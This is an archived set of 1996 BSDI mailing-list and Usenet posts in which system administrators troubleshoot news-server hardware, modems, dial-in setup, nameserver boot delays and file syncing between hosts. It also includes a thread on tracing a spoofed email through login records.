news@news.interactive.net (USENET News) Organization: IBS Interactive, Inc. Lines: 84 Message-ID: References: X-Trace: 848865507/11714 X-Nntp-Posting-Host: onyx.interactive.net Date: Sun, 24 Nov 1996 19:58:28 GMT Sam Brown is rumoured to have written: :) > *Motherboard: :) > * Tyan Tomcat 1563 with P5-166, 512KB Pipeline Burst Cache, :) > * 5 ISA & 4 PCI slots :) I strongly recommend the Pentium pro-180 which runs $820 around atlanta. :) Otherwise go 120 or 150, the odd mghz are much cheaper due to less demand :) now and the perf difference is negligible. Why? It's not cpu cycles that he needs. I also doubt the P6-180 has much performance benefit over a P5-166 anyhow. :) > Sounds good, maybe a dual-pentium board for future upgrades? Is it worth :) > it? :) Not really. Disk IO is what you need to focus on. Right. And BSD/OS doesn't support smp anyway. :) > * 64 MB 60nsec memory w/Parity Expandable to 512MB :) > * (ECC/EDO-optional) :) Go 128, 64 is NOT enough for a large newsfeed machine. With 8x36 60ns parts going for $200 (or less), it doesn't make much sense to *not* go to 128mb RAM. Yeesh, I remember when those simms were $1200. :-) :) > *Controller Card: :) > * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: :) > * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 :) > * 4), Floppy, PS/2 Bus Mouse :) > :) DPT PM2144UW (Smartcache IV with 68020-20). Upgradable to 64 megs cache :) and RAID. Invest in the future.. The 948 is a old/dead product. Heh. Why would anyone in their right mind RAID a news machine? Use software disk striping. It's just as fast, and a lot cheaper. Also, the Buslogic cards work very well and are quite speedy. If someone wants to loan me a DPT , I'll gladly benchmark it against my dual fast/wide Buslogics on the same hardware. Also, I doubt even with 64mb of cache on the card you'd get much (if any) noticible performance boost on something like a news machine. If I was running a machine to spit bits of a large database out, I'd reconsider. :) > * Hard Drive #2: :) > * Seagate ST34371, 7200,8MS 4.1GB Barracuda Ultra Data Disk (Qty:2 :) > * recommended for binary and complete news feed) :) Looks good. They look identical to my medalist 2 gig ide. They spin a :) helluvalot faster and whine real high pitched. For $1199, they are the :) same price as the standard wide barracuda's. Not time tested here, and :) i've killed two medalists which physically look the same, in a matter of :) weeks. The 15150W is proven. Take your chances. I've had no problems with my 15150 fast wide cudas. They seek very quickly. This is from my news box that's been up for about 2 weeks: %iostat tty sd0 sd1 sd2 sd3 cpu tin tout sps tps msps sps tps msps sps tps msps sps tps msps us ni sy in id 0 16 529 35 8.2 252 17 8.5 255 17 8.5 261 17 8.6 6 0 12 0 82 :) > * DECFast EtherWORKS 10/100 Mb/s PCI/32-bit RJ45 Ethernet :) > * Adapter(DE500-AA) :) > :) Make sure the chipset is DEC21140-AA or -AB, the AC won't work. Go to :) compusa and with a corporate account you can snag them pretty cheap and :) open the box first. These are supposed to be nice cards. I've also been using the 10/100 SMC parts without incident. On my news box I actually use the DEC PCI FDDI card. Even with regular ISA 10BT cards, I doubt the machine will ever be bottlenecked by the ethernet. :) Mind you i support up to 8 connections with a 16 megabyte freebsd box :) running dnews :) no lag really.. So you plan to many users, i'd suggest :) you plan your hardware more accordingly. *no comment* :-) Regards, Chris -- Christopher Mauritz | For info on internet access: ritz@interactive.net | finger/mail info@interactive.net OR IBS Interactive, Inc. | http://www.interactive.net/ From VM Mon Nov 25 20:53:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["398" "Sun" "24" "November" "1996" "17:13:47" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "9" "Hacking" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29151 for ; Sun, 24 Nov 1996 20:35:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA08819 for bsdi-users-outgoing; Sun, 24 Nov 1996 20:34:46 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Hacking Date: Sun, 24 Nov 1996 17:13:47 -0500 (EST) An obscene message was sent apparently from my server and the IP address it originated from was in the message header, and so did the time and date it was sent. Is there a way to correspond a given IP address with a PPP connection once closed, or at least with a tty device, from which I can track what users was on at that particular time. Any help someone could give me is greatly appreciated. From VM Mon Nov 25 20:53:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["431" "Sun" "24" "November" "1996" "17:03:21" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "12" "Re: DIALUP TOOLS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29155 for ; Sun, 24 Nov 1996 20:35:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA08813 for bsdi-users-outgoing; Sun, 24 Nov 1996 20:34:34 -0500 (EST) In-Reply-To: <32441C43.52F0@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM, support@BSDI.COM Subject: Re: DIALUP TOOLS Date: Sun, 24 Nov 1996 17:03:21 -0500 (EST) Are you using it in conjunction with the vi editor? If yes, you should be hitting "shift ZZ" to save, then you get prompted for the password and after confirming that and the user's home directory, you should end up at a command prompt. On Sat, 21 Sep 1996, Donald Dahlman wrote: > When I run the config_dialin program, all goes well until > I :w and then :q. After the :q the system hangs and I > must reboot the machine. > From VM Mon Nov 25 20:53:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["733" "Sun" "24" "November" "1996" "18:04:32" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "27" "Re: ip addresses" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29294 for ; Sun, 24 Nov 1996 20:41:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA08842 for bsdi-users-outgoing; Sun, 24 Nov 1996 20:41:26 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: ip addresses Date: Sun, 24 Nov 1996 18:04:32 -0800 (PST) Have you changed your /etc/netstart file to show your current ip. Some other files to check are your /etc/named/db files, /etc/named.boot, and may want to check your /etc/netscripts/addr-map to make sure all of your modems are assigned the correct address. Hope this helps. Chris McGlasson System Administrator Net Connection of Bakersfield 805.391.0561 chrism@chiba.netxn.com On Sun, 24 Nov 1996, Brian Backer wrote: > > recently I switched over to new ip addresses. > but when I telnet to somewhere, and check to see where I am > telnetting from, it still says the old address. > > Where does it hold the infomation > about what the address of the machine is? > > Any help would be appreciated. > thanks > brian > > From VM Mon Nov 25 20:54:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["284" "Sat" "21" "September" "1996" "20:58:53" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "8" "terminal type" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA29879 for ; Sun, 24 Nov 1996 21:04:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA08883 for bsdi-users-outgoing; Sun, 24 Nov 1996 20:57:37 -0500 (EST) Message-ID: <32449D5D.3310@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: terminal type Date: Sat, 21 Sep 1996 20:58:53 -0500 What command in a script file could I use to request and change the tset or terminal type for a client.? Why do I get a very long delay on boot up when the process hits this string... 'Starting Additional Network Daemons nfsiod rwhod rstatd printer sendmail exc..... From VM Mon Nov 25 20:54:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["901" "Sun" "24" "November" "1996" "21:43:40" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "18" "Re: Modem Configuration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA03944 for ; Sun, 24 Nov 1996 23:29:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA09141 for bsdi-users-outgoing; Sun, 24 Nov 1996 23:21:42 -0500 (EST) In-Reply-To: <199611240332.TAA02785@chiba.netxn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Modem Configuration Date: Sun, 24 Nov 1996 21:43:40 -0500 (EST) Hi, I have digi pcxem ISA boards and the new courier 33600 external v everything, and my string is different: I use AT&F1S13=1&W. I have dipswitch 3 & 8 down. I configure the modems via tip. If you need the procedure to configure them in tip, let me know. regards helen@mkl.com On Sat, 23 Nov 1996, Chris McGlasson wrote: > I was wonering if anyone has experienced this problem. I am using U.S. robotics33.6 external modems with digi 16/em boards. When I configure the modem using the following string: > > at&f&c1&d3x4m0l1s0=1 I get a steay TX/RV light on my modem. It's almost as if there is a signal being sent to the modem making it constantly busy. Any ideas as to why this might be happening? Has anyone used this combination of modems and digi type. I currently used kermit to configure each modem on a bsd2.1 OS. Any input would be greatly appreciated. Thanks in advance. > > From VM Mon Nov 25 20:54:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1439" "Sun" "24" "November" "1996" "21:39:11" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "43" "Re: Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA04101 for ; Sun, 24 Nov 1996 23:30:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA09135 for bsdi-users-outgoing; Sun, 24 Nov 1996 23:21:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Edouard CORREIA cc: Roch Pageau , Chris McGlasson , bsdi-users@BSDI.COM Subject: Re: Modems Locking..AHHH!!!!! Date: Sun, 24 Nov 1996 21:39:11 -0500 (EST) ANother thought: I also have Digi PCxem ISA type, the third and the fourth module on both ISA and EISA have to be powered by AC adapters, which don't come with the modules. In the documentation, it says which ones to buy. On Mon, 25 Nov 1996, Edouard CORREIA wrote: > > Date: Sat, 23 Nov 1996 12:32:29 -0500 > > From: Roch Pageau > > To: Chris McGlasson > > Cc: bsdi-users@BSDI.COM > > Subject: Re: Modems Locking..AHHH!!!!! > > > > Chris, > > > > I seem to be having the same problems with the digiboard and practicals. It > > only seems to happen on the last 10 ports for some reason. I thought they > > might not be configured properly but cannot find any evidence of this. If I > > get anything I will let you know, and am hoping you could do the same. > > > > Thanks > > > > Roch > > > > > > At 07:21 PM 11/22/96 -0800, you wrote: > > >Hello All. I have a major problem here. For some reason I have a couple > > >of modems locking up on me almost every day. I have switched modems > > >around, and switched lines with the same results. > > > > > >I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical > > >peripheral modems. I have the following configuration in my /etc/ttys > > >directory:: > > It cames from an unidentified BSDI 2.x bug (see your > /var/log/messages file you'll see "intr lost" or "output stalled" > messages). > > Sincerly. > > From VM Mon Nov 25 20:54:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["710" "Sun" "24" "November" "1996" "21:44:35" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "11" "Re: Modem Configuration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA04105 for ; Sun, 24 Nov 1996 23:30:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA09147 for bsdi-users-outgoing; Sun, 24 Nov 1996 23:21:58 -0500 (EST) In-Reply-To: <199611240332.TAA02785@chiba.netxn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Modem Configuration Date: Sun, 24 Nov 1996 21:44:35 -0500 (EST) Oh, and don't forget that the RJ11 plug goes into the jack closest to the serial cable. On Sat, 23 Nov 1996, Chris McGlasson wrote: > I was wonering if anyone has experienced this problem. I am using U.S. robotics33.6 external modems with digi 16/em boards. When I configure the modem using the following string: > > at&f&c1&d3x4m0l1s0=1 I get a steay TX/RV light on my modem. It's almost as if there is a signal being sent to the modem making it constantly busy. Any ideas as to why this might be happening? Has anyone used this combination of modems and digi type. I currently used kermit to configure each modem on a bsd2.1 OS. Any input would be greatly appreciated. Thanks in advance. > > From VM Mon Nov 25 20:54:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1321" "Sun" "24" "November" "1996" "22:06:11" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "39" "Keeping files in sync on multiple hosts" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA05200 for ; Mon, 25 Nov 1996 00:11:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA09205 for bsdi-users-outgoing; Mon, 25 Nov 1996 00:06:20 -0500 (EST) Reply-To: Stephen Fisher Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Keeping files in sync on multiple hosts Date: Sun, 24 Nov 1996 22:06:11 -0700 (MST) I know this has been asked before and some what answered...but I am wondering how I can: * Keep files in sync between multiple (two for now) hosts, files such as the password files, aliases, group, motd, etc * I would also like some way so that if the file is updated on one host it notifies and updates the other server and vice-versa. * Not have to do file syncs every 5 or 15 minutes, have the update happen right when the file is changed. This would be helpful. * I was looking into rdist but couldn't figure out how to give host A (BSD/OS) permission to update the files on host B (FreeBSD). I also tried some scripts which utilized scp (secure rcp from ssh) but that updates all of the files - if they have changed or not. Rdist doesn't full fill all of my requirements as stated above either.. but it could make do for now. * I also tried an expect script to pull files across, but this pulls them across if they have changed or not (like with scp) and has to run programs like newaliases every time it does it. The two hosts I am speaking of are a BSD/OS v2.1 box and a FreeBSD v2.1 box. Any ideas? =) It seems like NIS would be a good solution for this but BSDI doesn't support it :( - Steve - Systems Manager - Community Internet Access, Inc. - Gallup and Grants, New Mexico From VM Mon Nov 25 20:54:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["510" "Sun" "24" "November" "1996" "21:57:49" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "17" "Re: terminal type" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA06296 for ; Mon, 25 Nov 1996 01:00:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA09308 for bsdi-users-outgoing; Mon, 25 Nov 1996 00:58:27 -0500 (EST) Message-Id: <3.0.1.32.19961124215411.006b21e4@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman Cc: bsdi-users@BSDI.COM Subject: Re: terminal type Date: Sun, 24 Nov 1996 21:57:49 -0800 At 08:58 PM 9/21/96 -0500, Donald Dahlman wrote: >What command in a script file could I use to request and change >the tset or terminal type for a client.? > >Why do I get a very long delay on boot up when the process >hits this string... >'Starting Additional Network Daemons nfsiod rwhod rstatd printer >sendmail exc..... > > This sort of thing is often due to misconfigured network interfaces. The system is trying to init network processes and can't talk on the primary interface. -Kent- From VM Mon Nov 25 20:54:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["571" "Sun" "24" "November" "1996" "21:51:44" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "17" "Re: Hacking" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA06300 for ; Mon, 25 Nov 1996 01:00:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA09290 for bsdi-users-outgoing; Mon, 25 Nov 1996 00:52:29 -0500 (EST) Message-Id: <3.0.1.32.19961124214947.0069ece8@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Helen Birkmann Cc: bsdi-users@BSDI.COM Subject: Re: Hacking Date: Sun, 24 Nov 1996 21:51:44 -0800 At 05:13 PM 11/24/96 -0500, Helen Birkmann wrote: >An obscene message was sent apparently from my server and the >IP address it originated from was in the message header, and so >did the time and date it was sent. >Is there a way to correspond a given IP address with a PPP connection >once closed, or at least with a tty device, from which I can track >what users was on at that particular time. > >Any help someone could give me is greatly appreciated. > > Don't you log your connections? This would be the only way to cross check. At least that I know of. -Kent- From VM Mon Nov 25 20:54:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["167" "Mon" "25" "November" "1996" "04:06:41" "-0600" "M. Dickens" "mdickens@tetranet.net" nil "11" "NFS Portmap: RPC" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA15121 for ; Mon, 25 Nov 1996 05:21:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id FAA11199 for bsdi-users-outgoing; Mon, 25 Nov 1996 05:06:26 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M. Dickens" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: NFS Portmap: RPC Date: Mon, 25 Nov 1996 04:06:41 -0600 (CST) I started getting this error when booting.... NFS Portmap: RPC: Program not registered the system won't get past it. Any help would be appreciated. TIA Michael From VM Mon Nov 25 20:54:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["601" "Mon" "25" "November" "1996" "06:30:50" "-0500" "Randy Pittman" "rap@m-y.net" nil "17" "Users" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA17280 for ; Mon, 25 Nov 1996 06:44:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA11325 for bsdi-users-outgoing; Mon, 25 Nov 1996 06:36:46 -0500 (EST) Message-Id: <199611251140.GAA27340@my1.m-y.net> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Randy Pittman" Sender: owner-bsdi-users@lists.gateway.com To: "Bsdi users" Subject: Users Date: Mon, 25 Nov 1996 06:30:50 -0500 > I have a problem.. I use a Radius box for my term server and have it > send the login information to my BSDI 2.1 box... Some times not all > of the time win I set up a new account the users password is not > recognized.. has anybody ells have this problem.. Okay lets try this.. Could it be my addusers routine or should I say addcustomer.. A friend redid the adduser script so that the raddb was up dated at the same time. setting up SLIP, and PPP access for the customers.. If anybody might think this is it let me know and I'll send a copy of my addcustomer for your review... thanks Randy From VM Mon Nov 25 20:54:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["283" "Sun" "24" "November" "1996" "23:33:19" "-0700" "Jason Grovert" "jason@webnetdesign.com" nil "7" "Virtual System" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA17552 for ; Mon, 25 Nov 1996 06:59:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA11351 for bsdi-users-outgoing; Mon, 25 Nov 1996 06:56:31 -0500 (EST) Message-Id: <3.0.32.19961124233317.0069fe68@azwinn.com> X-Sender: webmaster@azwinn.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Jason Grovert Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Virtual System Date: Sun, 24 Nov 1996 23:33:19 -0700 I'm attempting to setup a Virtual Web server / mail server with BSDI 2.1. I have many questions, but have little resources. Is there a web page / FAQ / Email that has information about setting up Virtual systems? It'd be greatly appreciated. Thanks for you help. Jason Grovert From VM Mon Nov 25 20:54:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1835" "Mon" "25" "November" "1996" "06:47:00" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "49" "RE: Hacking" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA17560 for ; Mon, 25 Nov 1996 07:00:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA11357 for bsdi-users-outgoing; Mon, 25 Nov 1996 06:57:49 -0500 (EST) In-Reply-To: <01BBDA51.024E1B60@jeffrl.wantabe.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Jeffrey J Libman cc: bsdi-users@BSDI.COM Subject: RE: Hacking Date: Mon, 25 Nov 1996 06:47:00 -0500 (EST) Tx for the info I was able to match users with ttys at the time the mailer was generated. However, the NYS computer crime unit already got back to me and said that the message was generated from some hacker's page with a mailer called "interserv". According to the agent, it did NOT come from my machine. The question is only, why did the little creep use my domain name and IP address? On Sun, 24 Nov 1996, Jeffrey J Libman wrote: > uh...depends on how you assign ip...mine is done from the bsdi 2.1 ppp stuff...depends on tty. i can look at output of 'last' command and match times.... > > hope this is of help. > > cheers, > jeff > -------------------- > "Well, that was a piece of cake, eh K-9?" > "Piece of cake, Master? Radial slice of baked confection ... coefficient of relevance to Key of Time: zero." > -- Dr. Who > -------------------- \ > Jeffrey J. Libman, ops. mgr. |\ web - http://www.wantabe.com > Wantabe, Inc. |_\ ftp - ftp.wantabe.com > jeffrl@wantabe.com <----|----> mail > (713) 493-0718 __,.-=\'`^`'~=-..news > apache is kool! > bsdi is kooler! > > > ---------- > From: Helen Birkmann[SMTP:helen@gomez.mkl.com] > Sent: Sunday, November 24, 1996 11:13 AM > To: bsdi-users@BSDI.COM > Subject: Hacking > > An obscene message was sent apparently from my server and the > IP address it originated from was in the message header, and so > did the time and date it was sent. > Is there a way to correspond a given IP address with a PPP connection > once closed, or at least with a tty device, from which I can track > what users was on at that particular time. > > Any help someone could give me is greatly appreciated. > > > > From VM Mon Nov 25 20:54:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["974" "Mon" "25" "November" "1996" "06:54:58" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "22" "Re: Hacking" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA17564 for ; Mon, 25 Nov 1996 07:00:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA11363 for bsdi-users-outgoing; Mon, 25 Nov 1996 06:58:09 -0500 (EST) In-Reply-To: <3.0.1.32.19961124214947.0069ece8@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: Hacking Date: Mon, 25 Nov 1996 06:54:58 -0500 (EST) > At 05:13 PM 11/24/96 -0500, Helen Birkmann wrote: > >An obscene message was sent apparently from my server and the > >IP address it originated from was in the message header, and so > >did the time and date it was sent. > >Is there a way to correspond a given IP address with a PPP connection > >once closed, or at least with a tty device, from which I can track > >what users was on at that particular time. > > Don't you log your connections? This would be the only way to cross > check. At least that I know of. > > -Kent- Thuis turned out to be some hacker's job, I explained in another reply. Now how do you log connections? I know I can look up tty devices and the corresponding user with times in the wtmp file and can access it by typing "last tty?? |more", but is there something else I should know? Since we are doing dynamic addressing, the IP addressing pop up randomly and not necessarily in numerical order by modem device number. tx for your reply From VM Mon Nov 25 20:54:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["859" "Mon" "25" "November" "1996" "07:02:07" "-0500" "Brian Beaulieu" "brian@capecod.net" nil "28" "Re: Hacking" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA17833 for ; Mon, 25 Nov 1996 07:08:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id HAA11384 for bsdi-users-outgoing; Mon, 25 Nov 1996 07:02:17 -0500 (EST) Message-Id: <199611251202.HAA10831@mailhost.capecod.net> X-Sender: bhome@204.255.214.5 X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Brian Beaulieu Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Hacking Date: Mon, 25 Nov 1996 07:02:07 -0500 (EST) At 09:51 PM 11/24/96 -0800, you wrote: >At 05:13 PM 11/24/96 -0500, Helen Birkmann wrote: >>An obscene message was sent apparently from my server and the >>IP address it originated from was in the message header, and so >>did the time and date it was sent. >>Is there a way to correspond a given IP address with a PPP connection >>once closed, or at least with a tty device, from which I can track >>what users was on at that particular time. >> >>Any help someone could give me is greatly appreciated. >> >> > >Don't you log your connections? This would be the only way to cross >check. At least that I know of. Also.. Try the 'last' command.. man last for more details. Brian ---------------------------------- CAPE Internet System Administrator http://www.capecod.net http://despair.capecod.net brian@capedcod.net ---------------------------------- From VM Mon Nov 25 20:54:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["863" "Mon" "25" "November" "1996" "07:20:03" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "26" "Re: terminal type" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA18382 for ; Mon, 25 Nov 1996 07:28:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id HAA11402 for bsdi-users-outgoing; Mon, 25 Nov 1996 07:20:29 -0500 (EST) In-Reply-To: <32449D5D.3310@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: terminal type Date: Mon, 25 Nov 1996 07:20:03 -0500 (EST) I guess this is two questions... > What command in a script file could I use to request and change > the tset or terminal type for a client.? Do you mean someone's shell? Look at their dot files, e.g., .cshrc, .login, .profile, in the user's home directory. > Why do I get a very long delay on boot up when the process > hits this string... > 'Starting Additional Network Daemons nfsiod rwhod rstatd printer > sendmail exc..... This is probably due to having no available nameserver when sendmail is starting. You can cure this by making the machine in question a nameserver and referring to itself by adding the line nameserver 127.1 as the first nameserver line in /etc/resolv.conf. If you don't care to run named, then you must refer to a working and reachable nameserver in /etc/resolv.conf to avoid the delay you mention. - Ralph From VM Mon Nov 25 20:54:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["906" "Mon" "25" "November" "1996" "07:40:36" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "22" "Re: ip addresses" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA18919 for ; Mon, 